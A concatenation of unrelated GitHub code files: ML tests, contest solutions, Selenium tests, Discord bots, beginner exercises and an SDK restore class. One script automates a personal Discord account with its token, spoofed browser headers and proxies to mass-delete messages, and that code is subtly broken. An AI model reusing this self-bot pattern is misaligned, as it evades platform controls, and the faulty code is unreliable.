np.expand_dims(ds.read((33), out_dtype='float32'), 0)\n # img_tri = np.expand_dims(ds.read((34), out_dtype='float32'), 0)\n # img_twi = np.expand_dims(ds.read((35), out_dtype='float32'), 0)\n\n # full_array = np.concatenate((sen2_ete_img, sen2_print_img, sen1_ete_img, sen1_print_img, img_mhc, img_slopes, img_tpi, img_tri, img_twi))\n\n # profile = profile_temp\n # #profile['count'] = 1 # assume output is a single band raster\n\n # with rasterio.open(path_to_stack_img.replace(\".tif\", \"_clc_nometa_std_hm_sen2_lidar.tif\"), \"w\", **profile) as out_ds:\n # #for window in tqdm(iter_windows(ds, size, size), total=len(list(iter_windows(ds, size, size))), desc='Predicting and creating output'):\n # for window in tqdm(iter_windows_no_meta(full_array, size, size, size), total=len(list(iter_windows_no_meta(full_array, size, size, size))), desc='Predicting and creating output'):\n # #bands = ds.read(window=window, out_dtype='float32')\n # tile = inference_from_ckpt(ckpt_path, window[2])\n # out_ds.write(tile, 1, window=Window(window[0], window[1], window[2].shape[2], window[2].shape[1]))\n\n # logging.info('Prediction finished')\n","repo_name":"LucaRom/deep_mh","sub_path":"inference_3enco_full_img.py","file_name":"inference_3enco_full_img.py","file_ext":"py","file_size_in_byte":19963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19950366568","text":"\"\"\"Test augmentation options object.\"\"\"\nfrom schoolnn.models import AugmentationOptions\nfrom numpy import array_equal, random\n\n\n_KEYS = [\n \"channel_shuffle\",\n \"brightness\",\n \"gaussian_noise\",\n \"dropout_boxes\",\n \"salt_and_pepper\",\n \"jpeg_artifacts\",\n \"vertical_flip\",\n \"distortion\",\n \"rotate\",\n \"scale_and_translate\",\n \"color\",\n]\n\n\ndef test_augmentation_options_from_to_dict():\n \"\"\"Create some options, dump and read them back.\"\"\"\n for disabled_option in _KEYS:\n # Activate everything but one option\n kwargs = {}\n for key in _KEYS:\n kwargs[key] = True\n kwargs[disabled_option] = False\n\n opt = AugmentationOptions(**kwargs)\n assert opt.get_augmenter() # Don't fail\n\n assert opt.to_dict() == kwargs\n assert opt.activated_count() == len(_KEYS) - 1\n\n\ndef test_augmentation_options_from_to_dict2():\n \"\"\"Create some options, dump and read them back.\"\"\"\n for enabled_option in _KEYS:\n # Activate nothing but one option\n kwargs = {}\n for key in _KEYS:\n kwargs[key] = False\n kwargs[enabled_option] = True\n\n opt = AugmentationOptions(**kwargs)\n assert opt.get_augmenter() # Don't fail\n\n assert opt.to_dict() == kwargs\n assert opt.activated_count() == 1\n\n\ndef test_augmentation_options_identity():\n \"\"\"Check if identity applies when no option is enabled.\"\"\"\n kwargs = {}\n for key in _KEYS:\n kwargs[key] = False\n\n opt = AugmentationOptions(**kwargs)\n assert opt.to_dict() == kwargs\n assert opt.activated_count() == 0\n\n random_image_array = 255 * random.rand(28, 28, 3)\n random_image_array = random_image_array.astype(\"uint8\")\n\n augmented_image = opt.get_augmenter()(image=random_image_array)\n\n assert array_equal(augmented_image, random_image_array)\n\n\ndef test_augmentation_options_augmentation():\n \"\"\"Do some augmentation.\"\"\"\n aug_options = AugmentationOptions.all_activated()\n full_augmenter = aug_options.get_augmenter()\n\n batch_size = 32\n image_side = 128\n image_batch = 255 * random.rand(batch_size, image_side, image_side, 3)\n image_batch = image_batch.astype(\"uint8\")\n\n augmented_batch = full_augmenter(images=image_batch)\n\n assert augmented_batch.shape == image_batch.shape\n assert not array_equal(image_batch, augmented_batch)\n","repo_name":"DennisNemec/school-nn","sub_path":"tests/unit/models/test_augmentation_options.py","file_name":"test_augmentation_options.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13191477857","text":"#!/usr/bin/python3\n\nimport math \ne = 50\nrntp = []\n\ndef tnp1(l):\n if l==1:\n return 1\n else:\n return tnp1(l-1) * 2 + 1\n \nrntp.append(0) \nfor i in range(1,e):\n rntp.append(rntp[i-1] * 2 +1)\n\n\ndef rtnp1(l):\n k = 0\n while True:\n if rntp[k] >= l:\n return k\n k += 1\n if k>e:\n raise Error(\"ojojoj\")\n \n\ndef process():\n [l, p , c] = [int(i) for i in input().split()]\n n = math.ceil(math.log(p/l,c))\n return rtnp1(n - 1) \n \n\n\nif __name__ == '__main__': \n for i in range(int(input())):\n print(\"Case #{0}: {1}\".format(i+1,process()))\n \n \n\n","repo_name":"elek/codejam","sub_path":"codejam/2010/10r1c/load_testing/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"31353532113","text":"# PROG1 - UFCG\n# MATRICULA: 120210785 | DATA: 10/03/2022\n# ALUNO: EMANUEL VINICIUS SÁ DE LIMA E LIMA\n# PROGRAMA QUE COMPARA DUAS STRING E CONTA OS CARACTERES DIFERENTES \n\ndef compara_senhas(senha1, senha2):\n \n count = 0\n if len(senha1) <= len(senha2):\n for caracter in range(len(senha1)):\n if senha1[caracter] != senha2[caracter]:\n count += 1\n elif len(senha2) <= len(senha1):\n for caracter in range(len(senha2)):\n if senha2[caracter] != senha1[caracter]:\n count += 1\n\n\n return count\n\n\nassert compara_senhas('nome123', 'nome') == 0\nassert compara_senhas('aaa', 'bbb') == 3\nassert compara_senhas('senha', 'Senha') == 1\n\n","repo_name":"EmanuelSal/Atividades_Programacao-1","sub_path":"questões_tst/compara_senhas/compara.py","file_name":"compara.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"6824221132","text":"import discord, pycurl, re, wget, certifi, html\nfrom io import BytesIO\n\nbuffer = BytesIO()\nc = pycurl.Curl()\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(client))\n await client.change_presence(activity=discord.Game(name=\"$r help\"))\n\n@client.event\nasync def on_message(message):\n if message.author == client.user:\n return\n commande = '$r '\n if message.content == \"$r help\":\n \thelping = \"Use \\\" $r \\\" followed with your search query to use RemyWiki's search engine directly on discord. \\n **Example** : $r THE SAFARI\"\n \tawait message.channel.send(helping)\n\n elif message.content.startswith(commande):\n \t#On prépare la requête curl\n \tmsg = '' + message.content\n \targument = msg.replace(commande, '').replace(\"\\\"\", \"\\'\").replace('\\'', '%27')\n \trequete = \"https://remywiki.com/api.php?action=query&list=search&srsearch=\" + argument + \"&format=json\"\n \tc.setopt(c.CAINFO, certifi.where())\n \tc.setopt(c.URL, requete)\n \tc.setopt(c.WRITEDATA, buffer)\n \tc.perform()\n \tjson = buffer.getvalue().decode('utf-8')\n \tbuffer.truncate(0)\n \t#On récupère les titres ainsi obtenus et on en garde pas plus de 9\n \ttitles = re.findall(r\"\\\"title\\\":\\\".+?\\\"\", json)\n \ttitles = [title.replace(\"\\\"\" , \"\").replace(\"title:\", \"\") for title in titles]\n \t#On affiche une erreur si le résultat ne donne aucun résultat\n \tif len(titles) == 0:\n \t\turl_afficher = \"No result found !\"\n \telse:\n \t\tminiature = \"https://remywiki.com/wiki.png\"\n\t \tlinks = re.findall(r\"\\\"pageid\\\":.+?,\", json)\n\t \tlinks = [link.replace(\"\\\"\" , \"\").replace(\"pageid:\", \"\").replace(\",\", \"\") for link in links]\n\t \tif titles[0].lower() == argument.lower() :\n\t \t\ttitre_embed = titles[0]\n\t \t\t#Si le titre d'une page correspond à notre recherche, on la joint en url directement\n\t \t\trequete = \"https://remywiki.com/?curid=\" + links[0]\n\t \t\tc.setopt(c.URL, requete)\n\t \t\tc.setopt(c.WRITEDATA, buffer)\n\t \t\tc.perform()\n\t \t\tjson = buffer.getvalue().decode('utf-8')\n\t \t\turl_afficher = requete.replace(\" \", \"%20\")\n\t \t\t#S'il y a des images sur la page, on les affichera en miniature\n\t \t\tif len(re.findall(r\"thumb tright.+?src.+?png.+?png\" ,json)) !=0:\n\t \t\t\timage = re.sub(r\"thumb tright.+?src=\", \"https://remywiki.com\" ,re.findall(r\"thumb tright.+?src.+?png.+?png\" ,json)[0]).replace(\"\\\"\", \"\")\n\t \t\telif len(re.findall(r\"thumb tright.+?src.+?jpg.+?jpg\" ,json)) !=0:\n\t \t\t\timage = re.sub(r\"thumb tright.+?src=\", \"https://remywiki.com\" ,re.findall(r\"thumb tright.+?src.+?jpg.+?jpg\" ,json)[0]).replace(\"\\\"\", \"\")\n\t \t\telse:\n\t \t\t\timage = \"https://remywiki.com/wiki.png\"\n\t \t\t#Si c'est une chanson qui a été trouvée, on prépare la prévisualisation en conséquence\n\t \t\tif len(re.findall(r\"Song Information\", json)) !=0 :\n\t \t\t\tif len(re.findall(r\"Artist:.*\", \"\", re.findall(r\"Composition\\/Arrangement:.*.+?\\.\", json)) != 0:\n\t \t\t\t\tdesc = re.sub(\"<..*?>\", \"\", re.findall(r\"<.>.+?\\.\", json)[0]).replace(\"\", \"\").replace(\"

    \", \"\")\n\t \t\t\t\tif len(desc) > 325:\n\t \t\t\t\t\tdesc = desc[0:321] + \"...\" \n\t \t\t\telse:\n\t \t\t\t\tdesc = \"\"\n\t \t\t\tdescription = \"**Name** : \" + name + \"\\n\" + \"**Birthdate** : \" + birthdate + \"\\n\" + \"**Profile** : \" + desc\n\t \t\t\t#On ajoute les informations à l'embed\n\t \t\tembed = discord.Embed(title=titre_embed, description=description.replace(\"#8594;\", \"→\"),colour=discord.Colour.blue())\n\t \t\tembed.set_image(url=image)\n\t \t\tembed.set_thumbnail(url=miniature)\n\t \t\tembed.set_author(name=artist)\n\t \t\tembed.add_field(name=\"Link\", value=\"[\" + url_afficher +\"]\" + \"(\" + url_afficher + \")\", inline=False)\n\t \t\tawait message.channel.send(embed=embed)\n\t \telse:\n\t \t\t#Si nous sommes sur la page de recherche\n\t \t\ti = 0\n\t \t\tdescription = \"\"\n\t \t\tif len(links) > 9:\n\t \t\t\tboucle = 9\n\t \t\telse:\n\t \t\t\tboucle = len(links)\n\t \t\twhile (i < boucle) :\n\t \t\t\tdescription = description + str(i+1) + \". \" + \"[\" + titles[i] +\"]\" + \"(\" + \"https://remywiki.com/?curid=\" + links[i] + \")\" + \"\\n\"\n\t \t\t\ti = i + 1;\n\t \t\tif len(links) > 9:\n\t \t\t\tdescription = description + \"...\"\n\t \t\t#Embed pour la page de recherche\n\t \t\tembed = discord.Embed(title=\"Search Results\", description=description.replace(\"→\", \"→\"),colour=discord.Colour.blue())\n\t \t\timage = \"https://remywiki.com/wiki.png\"\n\t \t\tembed.set_thumbnail(url=miniature)\n\t \t\turl_afficher = \"https://remywiki.com/index.php?search=\" + argument.replace(\" \", \"%20\")\n\t \t\tembed.add_field(name=\"Search Page\", value=\"[\" + url_afficher +\"]\" + \"(\" + url_afficher + \")\", inline=False)\n\t \t\tawait message.channel.send(embed=embed)\n\nclient.run('TOKEN')\n","repo_name":"Sakimotor/remywiki-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28461642232","text":"\nfruits=[\"Apple\",\"Banana\",\"Grapes\",\"Lemon\"]\nif(\"Lemon\" in fruits):\n print(\"Yes there is Lemon in fruits\")\n\n\n\n\n# Write a program that takes two lists of integers \n# and returns a new list that contains only the common \n# elements between the two lists.\ndef function(list1,list2):\n return list((set(list1)& set(list2)))\n\nlist1 =[30,80,90,48,67]\nlist2 =[80,71,23,43,67]\nprint(function(list1,list2))\n \n\n# Write a program that takes a list of \n# integers and returns a new list that \n# contains the cumulative sum of the original list.\ndef cumulativenum(numbers):\n answer =[]\n sum=0\n for num in numbers:\n sum+=num\n answer.append(sum)\n\n return answer\n \nnumbers =[40,90,80,60,50] \nprint(cumulativenum(numbers))\n\n# Write a program that takes two lists of integers \n# and returns a new list that contains the elements \n# from both lists in sorted order. \ndef arrangelist(listA,listB):\n both=listA+listB\n both.sort()\n\n return both\n \nlistA=[\"Ann\",\"Wakah\",\"Muyale\"] \nlistB=[\"Charles\",\"Zan\",\"Abriella\"]\nprint(arrangelist(listA,listB))\n\n# Write a Python program that squares each \n# element of a given list using list comprehension.\n# python\nnumersas =[40,57,71,89,59,70]\nmultiply= (x**2 for x in numersas)\nprint(multiply)\n\n# Write a Python program that filters out\n# all negative numbers from a given list \n# using list comprehension.\ndigits= [20,-4,78,90,-4,-78]\npositivenos=[x for x in digits if x>=0]\nprint(positivenos)\n\n# Write a Python program that concatenates two\n# lists using list comprehension .\ncompress= [80,90,50,60]\ncompress1=[30,80,60,70]\nlistcomp=[i for i in compress]+[i for i in compress1]\nprint(listcomp)\n\n\n\n\n","repo_name":"Ann-Okoyo/pip-listcomprehension","sub_path":"pip.py","file_name":"pip.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33982353440","text":"# coding=utf-8\nimport unittest\nimport time\n\nimport comall\nfrom logs.tests.members.cww_test import Login\nfrom setting.cww_test import test_el\nfrom setting.cww_test import setting\n\n\nclass OntimeTest(unittest.TestCase):\n\n # 初始化方法 打开浏览器\n def setUp(self):\n self.dr = comall.Comall(setting.driver_type) # 打开一个浏览器 setting里设置的Driver_type\n self.dr.open(setting.login_page)\n self.dr.max_window() # 浏览器最大化\n time.sleep(5)\n Login.test_login(self.dr, self) # 调用Login中的test_login\n\n def test_Otime(self):\n ww = self.dr\n ww.click(\"xpath\", test_el.XsubMenu) # 点击网站\n ww.move_to_element(\"xpath\", test_el.XsubMenu)\n time.sleep(5)\n\n ww.click(\"xpath\", test_el.Xontime) # 点击准时达\n ww.switch_to_frame(0)\n\n time.sleep(5)\n ww.click(\"xpath\", test_el.XaddDeliveryOntimeServer) # 点击新增准时达按钮\n ww.send_keys(\"xpath\", test_el.ontime_Xadd_baseinfo_name, u\"输入规则\") # 输入规则名称\n ww.click(\"xpath\", test_el.ontime_Xadd_baseinfo_subsite_select_show) # 展示生效分站\n ww.click(\"xpath\", test_el.ontime_Xadd_baseinfo_subsite_select) # 生效分站-选择\n time.sleep(2)\n ww.click(\"xpath\", test_el.ontime_Xadd_baseinfo_provide_type_show) # 展示配送方式\n ww.click(\"xpath\", test_el.ontime_Xadd_baseinfo_provide_type_select_first) # 选择第一个配送方式A\n time.sleep(2)\n ww.move_to_element(\"xpath\", test_el.ontime_Xadd_baseinfo_area_select_chengdu)\n ww.click(\"xpath\", test_el.ontime_Xadd_baseinfo_area_select_chengdu) # 配送区域选择成都\n ww.click(\"xpath\", test_el.ontime_Xadd_baseinfo_area_select_chengdu_chengducity) # 配送区域-成都-成都市\n\n ww.click(\"xpath\", test_el.ontime_Xadd_baseinfo_area_select_chengdu_chengducity_4) # 配送区域-成都-成都市-测试四\n ww.js('window.scrollTo(800,800);')\n ww.send_keys(\"xpath\", test_el.ontime_Xadd_baseinfo_availableDay, 10) # 可预约天数输入3\n ww.click(\"xpath\", test_el.ontime_Xadd_next_step_btn) # 下一步\n ww.js('window.scrollTo(0, -300)')\n ww.click(\"xpath\", test_el.ontime_Xadd_timeset_Xadd_btn) # 可预约时间段设置-新增按钮\n ww.click(\"xpath\", test_el.ontime_Xadd_timeset_timestart_show) # 点击预约时间开始按钮\n ww.click(\"xpath\", test_el.ontime_Xadd_timeset_timestart_select) # 点击7.31-08:00\n ww.click(\"xpath\", test_el.ontime_Xadd_timeset_timeend_show) # 点击预约结束时间按钮\n ww.click(\"xpath\", test_el.ontime_Xadd_timeset_timeend_select) # 点击7.31-23:00\n ww.send_keys(\"xpath\", test_el.ontime_Xadd_timeset_num_input, 5) # 输入周内可预约最大值(周一至周五)5\n ww.send_keys(\"xpath\", test_el.ontime_Xadd_timeset_num_weekend_input, 15) # 输入周末可预约最大值(周六日)15\n ww.send_keys(\"xpath\", test_el.ontime_Xadd_timeset_price_input, 30) # 输入服务费 30\n ww.click(\"xpath\", test_el.ontime_Xadd_next_step1) # 点击下一步\n # 新增节假日\n # ww.switch_to_frame_out()\n # ww.js('window.scrollTo(0, -300)')\n # ww.switch_to_frame(0)\n # time.sleep(3)\n\n ww.click(\"xpath\", \"//*[@id='btn_addHoliday']\") # 新增\n time.sleep(3)\n\n # tc=ww.get_element('xpath','//*[@id=\"pnl_tabContent\"]')\n # iframe=tc.find_elements_by_tag_name('iframe')[0]\n\n # time.sleep(3)\n\n # ww.click('xpath','//*[@id=\"div_holidaystatus\"]/button[2]')\n tw=ww.get_elements('xpath','//*[@id=\"frm_holiday\"]/div[1]/div[1]')[1].click()\n\n # ww.click('xpath','//*[@id=\"frm_holiday\"]/div[1]/div[1]')\n #ww.click('xpath','/html/body/div[5]/div[3]/table/tbody/tr[2]/td[4]')\n\n # ww.click('xpath','//*[@id=\"frm_holiday\"]/div[1]/div[1]')\n # ww.click('xpath','/html/body/div[5]/div[3]/table/tbody/tr[2]/td[4]')\n\n\n\n # ww.js(\"$('#holiday_from1').attr('value','2017-08-01')\")\n # time.sleep(3)\n # ww.js(\"$('.datetimepicker').attr('style', 'display:none')\")\n # time.sleep(3)\n # ww.click(\"xpath\", \"//*[@id='holiday_end']\")\n # time.sleep(3)\n # ww.js(\"$('#holiday_end').attr('value','2017-08-02')\")\n # time.sleep(3)\n # ww.js(\"$('.datetimepicker').attr('style', 'display:none')\")\n # time.sleep(3)\n\n ww.click(\"xpath\", \"//*[@id='7b4fc7db-2066-4012-8cb4-645e58a3c6ab']\")\n\n # ww.click(\"xpath\", \"/html/body/div[6]/div[3]/table/tfoot/tr/th\")\n # ww.click(\"xpath\", \"//*[@id='div_holidaystatus']/button[1]\")\n # ww.click(\"xpath\", \"//*[@id='txt_holiday_num0']\")\n # ww.click(\"xpath\", \"//*[@id='txt_holiday_serverFee0']\")\n # ww.click(\"xpath\", \"//*[@id='2d1a0450-38f4-48b7-99d7-6c014f676e38']\")\n\n ww.click(\"xpath\", test_el.ontime_Xadd_next_step2) # 点击下一步\n ww.click(\"xpath\", test_el.ontime_Xadd_timeset_btn) # 点击新增规则\n ww.click(\"xpath\", test_el.ontime_Xadd_orderStartTime) # 点击下单开始时间\n ww.click(\"xpath\", test_el.ontime_Xadd_orderStartTime_hours) # 点击0时\n ww.click(\"xpath\", test_el.ontime_Xadd_orderStartTime_minutes) # 点击7.31-00:00\n ww.click(\"xpath\", test_el.ontime_Xadd_orderEndTime) # 点击下单截止时间\n ww.click(\"xpath\", test_el.ontime_Xadd_orderEndTime_nextday) # 点击下一天\n ww.click(\"xpath\", test_el.ontime_Xadd_orderEndTime_hours) # 点击下一天11点\n ww.click(\"xpath\", test_el.ontime_Xadd_orderEndTime_minutes) # 点击08/01-11:59\n ww.js('window.scrollTo(0,800);')\n ww.click(\"xpath\", test_el.ontime_Xadd_info_sublime) # 点击提交\n time.sleep(5)\n # 搜索验证\n ww.js('window.scrollTo(0,-1000)') # 退出+滑动\n ww.switch_to_frame_out()\n ww.js('window.scrollTo(0,-1000)')\n time.sleep(5)\n ww.switch_to_frame(0)\n ww.send_keys(\"xpath\", test_el.ontime_Xadd_search_input, u\"输入规则\") # 输入名称-输入规则\n time.sleep(5)\n ww.click(\"xpath\", test_el.ontime_Xadd_search_btn) # 点击搜索\n time.sleep(5)\n\n def tearDown(self):\n # self.dr.close()\n pass","repo_name":"huiboSong/tester","sub_path":"tests/members/cww_test/test_Ontime_03.py","file_name":"test_Ontime_03.py","file_ext":"py","file_size_in_byte":6807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34875861073","text":"from ..vssubclient import VirtualServerSubclient\n\n\nclass OracleCloudVirtualServerSubclient(VirtualServerSubclient):\n \"\"\"Derived class from VirtualServerSubclient Base class.\n This represents a OracleCloud virtual server subclient,\n and can perform restore operations on only that subclient.\n\n \"\"\"\n\n def full_vm_restore_out_of_place(\n self,\n vm_to_restore=None,\n destination_client=None,\n proxy_client=None,\n new_name=None,\n host=None,\n power_on=True,\n copy_precedence=0,\n restore_option=None,\n **kwargs):\n \"\"\"Restores the FULL Virtual machine specified in the input list\n to the provided vcenter client along with the ESX and the datastores.\n If the provided client name is none then it restores the Full Virtual\n Machine to the source client and corresponding ESX and datastore.\n\n Args:\n vm_to_restore (list) -- list of all VMs to restore\n\n destination_client (str) -- name of the pseudo client where VM should be\n restored\n\n proxy_client (str) -- the proxy to be used for restore\n\n new_name (str) -- new name to be given to the restored VM\n\n host (str) -- destination host or cluster; restores to the\n source VM ESX if this value is not\n specified\n\n power_on (bool) -- power on the restored VM\n default: True\n\n copy_precedence (int) -- copy precedence to restored from\n default: 0\n\n restore_option (dict) -- dictionary with all the advanced restore\n options.\n\n **kwargs : Arbitrary keyword arguments Properties as of\n full_vm_restore_out_of_place\n eg:\n v2_details (dict) -- details for v2 subclient\n eg: check clients.vmclient.VMClient._child_job_subclient_details\n\n Returns:\n object - instance of the Job class for this restore job\n\n Raises:\n SDKException:\n if inputs are not of correct type as per definition\n\n if failed to initialize job\n\n if response is empty\n\n if response is not success\n\n \"\"\"\n if not restore_option:\n restore_option = {}\n restore_option[\"v2_details\"] = kwargs.get(\"v2_details\", None)\n\n # set attr for all the option in restore xml from user inputs\n self._set_restore_inputs(\n restore_option,\n vm_to_restore=self._set_vm_to_restore(vm_to_restore),\n power_on=power_on,\n copy_preceedence=copy_precedence,\n volume_level_restore=1,\n client_name=proxy_client,\n vcenter_client=destination_client,\n esx_host=host,\n out_place=True,\n restore_new_name=new_name\n )\n\n request_json = self._prepare_fullvm_restore_json(restore_option)\n return self._process_restore_response(request_json)\n","repo_name":"Commvault/cvpysdk","sub_path":"cvpysdk/subclients/virtualserver/oracle_cloud.py","file_name":"oracle_cloud.py","file_ext":"py","file_size_in_byte":3643,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"21"} +{"seq_id":"40348147074","text":"import requests, json, time, os, threading, base64\r\n\r\nos.system(\"cls\")\r\nchannel_id = input(\"Channel id: \")\r\nTOKEN = input(\"Your discord token: \")\r\npath = './proxy.txt'\r\nif os.path.exists(path):\r\n with open(\"proxy.txt\", \"r\") as f:\r\n proxy = f.readlines()\r\n proxy = proxy[0]\r\nelse:\r\n proxyask = input(\"Do you want to use proxy? y/n: \")\r\n if proxyask.lower() == \"y\":\r\n with open(\"proxy.txt\", \"w\") as f:\r\n f.write(\"user:pass@ip:port\")\r\n f.close()\r\n os.system(\"cls\")\r\n print(\"\\nProcess closed. Add your proxy to `proxy.txt` and start again.\")\r\n time.sleep(3)\r\n exit()\r\n else:\r\n os.system(\"cls\")\r\n print(\"\\nProcess using local ip...\")\r\n proxy = None\r\n\r\nprint(\"\\nYour discord token wont be saved/used anywhere else. Its only for the request to find your account.\")\r\nprint(\"\\nStarting...\")\r\ntime.sleep(3)\r\n\r\n\r\nxsuper = \"eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVtX2xvY2FsZSI6ImVuLVVTIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwMS4yNDAuOTUgKEludGVybmV0KS5TY3JpcHQvMTAuMDsgV2Ugbm8t) {x-super}\"\r\n\r\nheaders = {\r\n \"Authorization\": TOKEN,\r\n \"Connection\": \"keep-alive\",\r\n \"Content-Length\": \"0\",\r\n \"Host\": \"discord.com\",\r\n \"Origin\": \"https://discord.com\",\r\n \"Referer\": \"https://discord.com/channels/@me\",\r\n \"sec-ch-ua\": '\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"',\r\n \"sec-ch-ua-mobile\": \"?0\",\r\n \"sec-ch-ua-platform\": \"Windows\",\r\n \"Sec-Fetch-Dest\": \"empty\",\r\n \"Sec-Fetch-Mode\": \"cors\",\r\n \"Sec-Fetch-Site\": \"same-origin\",\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\r\n \"X-Debug-Options\": \"bugReporterEnabled\",\r\n \"X-Discord-Locale\": \"en-US\",\r\n \"X-Discord-Timezone\": \"Asia/Colombo\",\r\n \"X-Super-Properties\": xsuper\r\n}\r\n\r\ndef get_messages(channel_id, your_user_id, proxy):\r\n \r\n message_ids = []\r\n before_message_id = None\r\n\r\n for _ in range(10):\r\n try:\r\n params = {\r\n \"limit\": 100,\r\n \"before\": before_message_id\r\n }\r\n if proxy == None:\r\n t = requests.get(url=f\"https://discord.com/api/v9/channels/{channel_id}/messages\", headers=headers, params=params)\r\n else:\r\n proxylist = {\r\n \"http://\":proxy,\r\n \"https://\":proxy\r\n }\r\n t = requests.get(url=f\"https://discord.com/api/v9/channels/{channel_id}/messages\", headers=headers, params=params, proxies=proxylist)\r\n\r\n if t.status_code == 200:\r\n messages = t.json()\r\n\r\n if not messages:\r\n break\r\n\r\n for message in messages:\r\n if message[\"author\"][\"id\"] == your_user_id:\r\n message_ids.append(message[\"id\"])\r\n print(f\"Grabbed message: {message['id']}\")\r\n\r\n before_message_id = messages[-1][\"id\"]\r\n else:\r\n print(f\"Failed to retrieve messages. Status code: {t.status_code}\")\r\n break\r\n except Exception as e:\r\n print(f\"Error: {str(e)}\")\r\n\r\n return message_ids\r\n\r\n\r\ndef delete(message_id, channel_id, proxy=None):\r\n global rate_limit_reset\r\n\r\n if proxy is None:\r\n t = requests.delete(url=f\"https://discord.com/api/v9/channels/{channel_id}/messages/{message_id}\", headers=headers)\r\n else:\r\n proxylist = {\r\n \"http\": proxy,\r\n \"https\": proxy\r\n }\r\n t = requests.delete(url=f\"https://discord.com/api/v9/channels/{channel_id}/messages/{message_id}\", headers=headers, proxies=proxylist)\r\n\r\n if t.status_code == 204:\r\n print(f\"Deleted Message: {message_id}\")\r\n elif t.status_code == 429:\r\n retry_after = int(t.headers.get('Retry-After', 0))\r\n print(f\"!RETRY! RATE LIMIT!! Waiting {retry_after} seconds\")\r\n time.sleep(retry_after)\r\n delete(message_id, channel_id, proxy)\r\n elif t.status_code == 403:\r\n print(\"Cannot delete system message.\")\r\n else:\r\n print(f\"Error: {t.status_code}\")\r\n print(t.text)\r\n\r\nyour_user_id = int(base64.b64decode(token.split(\".\")[0]))\r\nmessage_ids = get_messages(channel_id, your_user_id, proxy)\r\nprint(\"\\nGrabbed all messages...\")\r\ntime.sleep(3)\r\nthreadarray = []\r\nfor message_id in message_ids:\r\n time.sleep(0.3)\r\n thread = threading.Thread(target=delete, args=(message_id, channel_id, proxy,), daemon=False)\r\n thread.start()\r\n threadarray.append(thread)\r\n\r\nfor thread in threadarray:\r\n thread.join()\r\n \r\n\r\nprint(\"Done. :)\")\r\n","repo_name":"MAROKYlmfao/Discord-Message-Deleter","sub_path":"delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":4812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22005107017","text":"def multiply(input_list):\n result = 1\n for element in input_list:\n result *= element\n return result\n\n\ndef better_multiply(*multicands):\n result = 1\n for element in multicands:\n result *= element\n return result\n\n\ndef display(**kwargs):\n for key , value in zip(kwargs.keys() , kwargs.values()):\n print(key , value)\n\n\ndef arg_convention(required_input , optional_input = 5 , *args , **kwargs):\n print(required_input , optional_input , args , kwargs)\n return 3\n\n\nmy_list = [1 , 2 , 3 , 4 , 5]\nprint(len(my_list))\nprint(display(x = \"test\", y = \"ing \", z = \"kwargs\"))\nprint(multiply([6 , 9]))\nprint(better_multiply(9 , 6))\n","repo_name":"Ion-The-Prize/2022-Math-IA","sub_path":"Algebra Tinkering.py","file_name":"Algebra Tinkering.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"16137132772","text":"import math\r\nimport random\r\n\r\ndef randomCalc(ops, digit):#This function creates the random question that is asked, it's two inputs define the level it needs\r\n num1 = random.randint(0,math.pow(10,digit))\r\n num2 = random.randint(0,math.pow(10,digit))\r\n op = random.choice(ops)\r\n answer = eval(str(num1) + op + str(num2))\r\n print('What is {} {} {}?\\n'.format(num1, op, num2))\r\n return answer\r\n\r\ndef GameStart():\r\n totaloperations = ['+','-','*','/','%']\r\n print (\"Welcome to the random math question game!\\n\\n\\n\")\r\n Total_Errors = 0\r\n for level in range(5):#Iterate through each level\r\n stars_that_level = 0#Amount of values they solved correctly\r\n print (\"Level %d:\\nPossible length of Numbers:%d\\nPossible number of Operators:%d\"%((level+1),max(1,(level+1)/2),(level+1)))\r\n for question in range(5):#Iterate through each question\r\n correctvalue = randomCalc(totaloperations[:level+1],max(1,(level+1)/2))\r\n WrongInput = True\r\n while WrongInput:#Repeat until we get suitable input\r\n\r\n #Print out the correct amount of stars that round\r\n allstars =''\r\n for numofstars in range(stars_that_level):\r\n allstars+='*'\r\n if allstars != '':\r\n print (allstars)\r\n\r\n attemptedvalue = input(\">>>\")\r\n for i in attemptedvalue:\r\n if ((i != '0' and i != '1' and i != '2' and i != '3' and i != '4' and i != '5' and i != '6' and i != '7' and i != '8' and i != '9' and i!='-')):#BONUS: Check if the value is correct or not\r\n WrongInput = True\r\n print (\"ERROR! Un-acceptable entry detected, try again please!\\n\")\r\n break\r\n else:\r\n WrongInput = False\r\n\r\n if (int(attemptedvalue)==correctvalue):#First convert the value into an integer, and check if the answer is correct\r\n stars_that_level+=1\r\n print (\"Correct! You gain an additional star! You now have %d out of 